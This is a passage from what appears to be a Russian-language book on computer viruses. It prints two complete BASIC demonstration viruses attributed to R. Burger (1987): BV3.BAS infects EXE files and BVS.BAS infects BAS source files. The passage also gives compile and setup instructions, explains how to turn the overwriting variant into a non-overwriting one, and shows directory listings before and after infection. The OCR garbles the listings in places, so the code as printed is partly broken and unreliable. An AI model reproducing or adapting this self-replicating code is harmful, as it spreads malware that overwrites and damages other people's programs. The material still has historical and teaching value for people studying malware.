са) на длину скомпилированной программы. Теперь нужно еще раз
скомпилировать исходную программу и перезаписывающий вирус готов.
Для того, чтобы из этой программы-вируса получить неперезаписыва-
ющий вирус, можно, например, с помощью APPEND в конец инфицирова-
нной программы считать имя соответствующей оригинальной программы
и затем запросить эту оригинальную программу с помощью SHELL
PRGname.
Но для этого нужно иметь соответствующий компилятор.
Для таких программ нужно помнить следующее:
1. Файл BV3.EXE должен находиться в актуальном каталоге.
2. Должен быть достижим файл COMMAND.COM, чтобы можно было
- 218 -
выполнить команду SHELL.
3. Переменная LENGTHVIR (длина вируса) должна быть установлена
на длину связанной программы (связывание необходимо
выполнить дважды).
4. Для компилятора Microsoft-Quick_basic должен использоваться
ключ /е.
10 REM *************************************************
20 REM *** Демонстрационный вирус BV3.BAS ***
30 REM *** Автор Р.Бургер 1987 ***
40 REM *************************************************
50 ON ERROR GO TO 670
60 REM *** параметр
70 REM *** должен быть установлен
80 REM *** на длину связанной программы
90 LENGTHVIR=2641
100 VIRROOT$="BV3.EXE"
110 REM *** записать в файл "INH"
120 REM *** содержимое каталога
130 SHELL "DIR *.exe inh"
140 REM *** Открыть файл "INH" и считать имена
150 OPEN "R",1,"inh",32000
160 LINE INPUT#1, ORIGINAL$
170 LINE INPUT#1, ORIGINAL$
180 LINE INPUT#1, ORIGINAL$
190 LINE INPUT#1, ORIGINAL$
200 LINE INPUT#1, ORIGINAL$
210 ON ERROR GO TO 670
220 CLOSE = 2
230 F=1: LINE INPUT#1, ORIGINAL$
240 REM ** "%"- это байт идентификатора BV3
250 REM *** "%" в имени означает:
260 REM *** существует уже инфицированная копия
270 IF MID$(ORIGINAL$,1,13) "%" THEN GO TO 210
280 ORIGINAL$= MID$(ORIGINAL$,1,13)
290 EXTENSION$=MID$(ORIGINAL$,9,13)
300 MID$(EXTENSION$,1,1)"."
310 REM *** Составить имена в имена файлов
- 219 -
320 F=F+1
330 IF MID$(ORIGINAL$,F,1)=" " OR MID$(PROGONAL$,F,1)="."
OR F=13 THEN GO TO 350
340 GO TO 320
350 ORIGINAL$= MID$(ORIGINAL$,1,F-1) + EXTENSION$
360 ON ERROR GO TO 210
365 TEST$=''
370 REM *** открыть найденный файл
380 OPEN 'R',2, ORIGINAL$, LENGTHVIR
390 IF LOF(2) LENGTHVIR THEN GO TO 420
400 GET =2,2
410 LINE INPUT=2,TEST$
420 CLOSE
430 REM *** Проверить, инфицирован ли уже файл
440 REM *** "%" в конце фала означает:
450 REM *** файл уже инфицирован
460 IF MID$(TEST$,2,1)="%" THEN GO TO 210
470 CLOSE=1
480 ORIGINAL$=ORIGINAL$
490 MID$(ORIGINAL$,1,1)="%"
500 REM *** сохранить "здоровую" программу
510 C$="COPY"+ORIGINAL$+" "+ORIGINAL$
520 SHELL C$
530 REM *** скопировать вирус в "здоровую" программу
540 C$="COPY"+VIRROOT$+ORIGINAL$
550 SHELL C$
560 REM*** добавить идентификатор вируса
570 OPEN ORIGINAL$ FOR APPEND AS =1 LEN=13
580 WRITE=1,ORIGINAL$
590 CLOSE=1
630 REM*** Выдать сообщение
640 PRINT "Инфекция на ";ORIGINAL$;"! Опасность!
650 SYSTEM
660 REM*** Сообщение вируса об ошибке
670 PRINT "VIRUS internal ERROR": SYSTEM
Характеристики программы
Этот вирус в отличие от ранее описанных поражает только ЕХЕ-
- 220 -
файлы. Для того, чтобы увидеть его отличие от других программ,
нужно подробно рассмотреть его распространение.
Каталог перед вызовом программы:
Katalog von A:\
SORT EXE 1664 4-22-85 12:00p
SHARE EXE 8304 4-22-85 12:00p
SUBST EXE 16627 4-22-85 12:00p
BV3 EXE 2641 7-13-87 8:27p
4 Dateien 325632 Bytes frei
Каталог после вызова программы:
Katalog von A:\
SORT EXE 2655 7-22-85 8:43p
SHARE EXE 8304 4-22-85 12:00p
SUBST EXE 16627 4-22-85 12:00p
BV3 EXE 2641 7-13-87 8:27p
INH 277 7-13-87 8:43p
%ORT EXE 1664 4-22-85 12:00p
6 Dateien 321536 Bytes frei
Здесь появился новый файл INH, в котором находится содержи-
мое каталога, а также файл %ORT.EXE. Файлы, начинающиеся с "%",
являются копиями сохранения исходного программного обеспечения.
Эти копии могут использоваться для возможного распространения
программ, чтобы сделать из этой программы неперазаписывающий
вирус. Программы с "%" в имени более не поражаются вирусом, пото-
му переименование программ защищает от этого вируса точно так же,
как и длина программы, точно соответствующая LENGTHVIR.
Но это вряд ли применимые на практике способы защиты от
вируса. При полном "заражении" всех файлов каталога выдается
сообщение об ошибке, поскольку возникающие ошибки "перехватываю-
тся" лишь частично.
10.4 Вирусы в виде командного файла
- 221 -
Собственно создать программу-вирус можно на уровне команд
ЭВМ. Для этого используется командный файл, с помощью которого
можно вызывать как резидентные, так и нерезидентные функции опе-
рационной системы. Параметры резидентного вызова передаются в
таком командном файле в командной строке, параметры же нерезиден-
тных программ стоят внутри списка операторов. Этот листинг, пред-
ставляющий программу-вирус длиной лишь в 8 (АСНТ) строк, которая
вряд ли может быть более компактной, использует (как показывает
приведенная в разделе 10.3 написанная на Бейсике программа) также
некоторые особенности операционной системы МS-DOS.
Кроме того, в качестве нерезидентных программ используются
DEBUG и EDLIN. Управление этими программами осуществляется по
нескольким спискам операторов.
10.5 Вирусы в исходных кодах
Приведенные выше вирусы, за исключением оформленного в
виде командного файла вируса, должны компилироваться, чтобы
получить возможность их запуска. Но "инфекция" может прони-
кать и в исходные коды интерпретируемых программ, что подт-
верждает приведенная ниже распечатка неперезаписывающего ви-
руса, написанного на Бейсике. Основные элементы здесь заимс-
твованы из программы, приведенной в разделе 10.3. Для того
чтобы не увеличивать без надобности исходную программу, была
выбрана не совсем обычная стратегия. Программа-вирус в этой
форме выполняется не безошибочно. Для того чтобы выполнить
ее инсталляцию без каких-либо затрат, нужно заменить строку
"9999 RUN" на "9999 STOP" и запустить вирус. Но это измене-
ние нельзя выполнить внутри интерпретатора и записать в па-
мять. Затем инфицированная программа рассматривается как
программа-носитель.
Обоснование:
В строке 9999 инфицированной программы записан вызов исход-
ной программы. Поскольку в сам вирус на это место не записа-
но пока никакого имени, вирус вызывал бы сам себя постоянно.
Особые условия:
Строка 9999 не может завершаться CR/LF, поскольку в этом
случае ее нельзя было бы дополнить командой APPEND. (Если
это необходимо, удалите CR/LF с помощью DEBUG).
- 222 -
При изменении кодов программы нельзя не учитывать, что
должна быть изменена переменная VIRLENGTH. Программа, ес-
тественно, должна записываться в память в виде ASCII -файла.
Эта программа была разработана с помощью интерпретатора
Microsoft-GW-BASIC версии 2.02 в среде MS-DOS 3.1. Для дру-
гих интерпретаторов, возможно, потребуется изменить синтак-
сис операторов OPEN.
10 REM ************************************************
20 REM *** Демонстрационный вирус BVS.BAS ****
30 REM *** Автора Р.Бургер 1987 ****
40 REM ************************************************
50 REM
60 REM *** Обработка ошибок
70 ON ERROR GOTO 670
80 REM *** Параметр LENGTHVIR должен быть установлен
90 REM *** на длину исходных кодов
100 REM ***
110 LENGTHVIR=2691
120 VIRROOTS="BVS.bas"
130 REM *** Cодержимое каталога
140 REM *** добавляется в файл INH
150 SHELL "DIR =.BAS INH"
160 REM *** Открыть файл INH и считать имена
170 OPEN "R",1,"INH",32000
180 GET #1,1
190 LINE INPUT #1, OLDN AMES
200 LINE INPUT #1, OLDN AMES
210 LINE INPUT #1, OLDN AMES
220 LINE INPUT #1, OLDN AMES
230 ON ERROR GOTO 670
240 CLOSE #2
250 F=1:LINE INPUT #1,OLDN AMES
260 REM *** "%" является байтом идентификатора
- 223 -
270 REM *** "%" в имени означает:
280 REM *** существуют уже инфицированные копии
290 IF MIDS(OLDNAMES;1,1)="%" THEN GOTO 230
300 OLDNAMES=MIDS(OLDNAMES,1,13)
310 EXTENSIONS=MIDS(OLDNAMES,9,13)
320 MIDS(EXTENSIONS,1,1)="."
330 REM *** Имена должны быть составлены в имена файлов
340 F=F+1
350 IF MIDS(OLDNAMES,F,1)=" " OR MIDS(OLDNAMES,F,1)="." OR F=13
THEN GOTO 370
360 GOTO 340
370 OLDNAMES=MIDS(OLDNAMES,1,F+1)+EXTENSIONS
380 ON ERROR GOTO 440
390 TESTS=""
400 REM *** Открыть найденный файл
410 OPEN "R",2,OLDNAMES,LENGTHVIR
415 IF LOF(2) LENGTHVIR THEN GOTO 440
420 GET #2,2
430 LINE INPUT=2,TESTS
440 CLOSE#2
450 REM *** Проверить, инфицирован ли уже файл
460 REM *** "%" в конце файла означает:
470 REM *** файл уже инфицирован
480 IF MIDS(TESTS,1,1)="%" THEN GOTO 230
490 CLOSE#1
500 NEWNAMES=OLDNAMES
510 MIDS(NEWNAMES,1,1)="%"
520 REM *** сохранить "здоровую" программу
530 CS="copy "+OLDNAMES+NEWNAMES
540 SHELL CS
550 REM *** скопировать вирус в "здоровую" программу
560 CS="copy "+VIRROOTS+OLDNAMES
570 SHELL CS
580 REM *** связать идентификатор вируса и новое имя
590 OPEN OLDNAMES FOR APPEND AS =1 LEN=13
600 WRITE#1,NEWNAMES
610 CLOSE#1
620 REM *** Выдать сообщение
630 PRINT "инфекция в:" ;OLDNAMES;" опасность!"
- 224 -
640 REM *** запуск исходной программы
650 GOTO 9999
660 REM *** сообщение вируса об ошибке
670 PRINT"VIRUS internal ERROR":SYSTEM
680 REM *** После этого RUN для инфицированной
690 REM *** программы стоит
700 REM *** прежнее имя программы. Благодаря этому
710 REM *** можно запустить исходную программу,
720 REM *** чем достигается эффект неперезаписывающего
730 REM *** вируса. После "RUN" при записи
740 REM *** в память не должно стоять CR/LF,
750 REM *** поскольку в противном случае имя
760 REM *** с помощью APPEND добавить нельзя. CR/LF
770 REM *** можно удалить с помощью DEBUG.
9999 RUN
Характеристики программы
Этот вирус требует для распространения файлов с расширением
BAS. Причем не играет роли, записана ли эта программа в форме
ASCII или в двоичном виде. Здесь вновь создаются копии с
"%" в качестве первого символа имени файла. Эти копии вызываются
после обработки вируса.
Каталог перед вызовом программы-вируса:
Katalog von A:\
CALL BAS 612 4-12-85 5:53р
COMMAND BAS 659 4-04-85 4:06р
DEC BAS 236 7-11-85 6:44р
DEFFN BAS 336 3-07-85 3:04р
DIGIT BAS 217 7-11-85 6:46р
DRAW BAS 681 4-19-85 4:03р
KONVERT BAS 3584 1-01-80 12:03а
MAIN BAS 180 7-11-85 6:45р
PLAY BAS 192 3-21-85 1:08р
REDIM BAS 439 4-13-85 3:15р
- 225 -
BVS BAS 2691 7-14-87 9:46а
11 DATEIEN 340992 BYTES frei
Каталог после первого вызова программы:
Katalog von A:\
CALL BAS 2704 7-14-87 9:53а
COMMAND BAS 659 4-04-85 4:06р
DEC BAS 256 7-11-85 6:46р
DEFFN BAS 336 3-07-85 3:04р
DIGIT BAS 217 7-11-85 6:46р DRAW BAS 681 4-19-85
4:03р KONVERT BAS 3584 1-01-80 12:03а MAIN BAS 160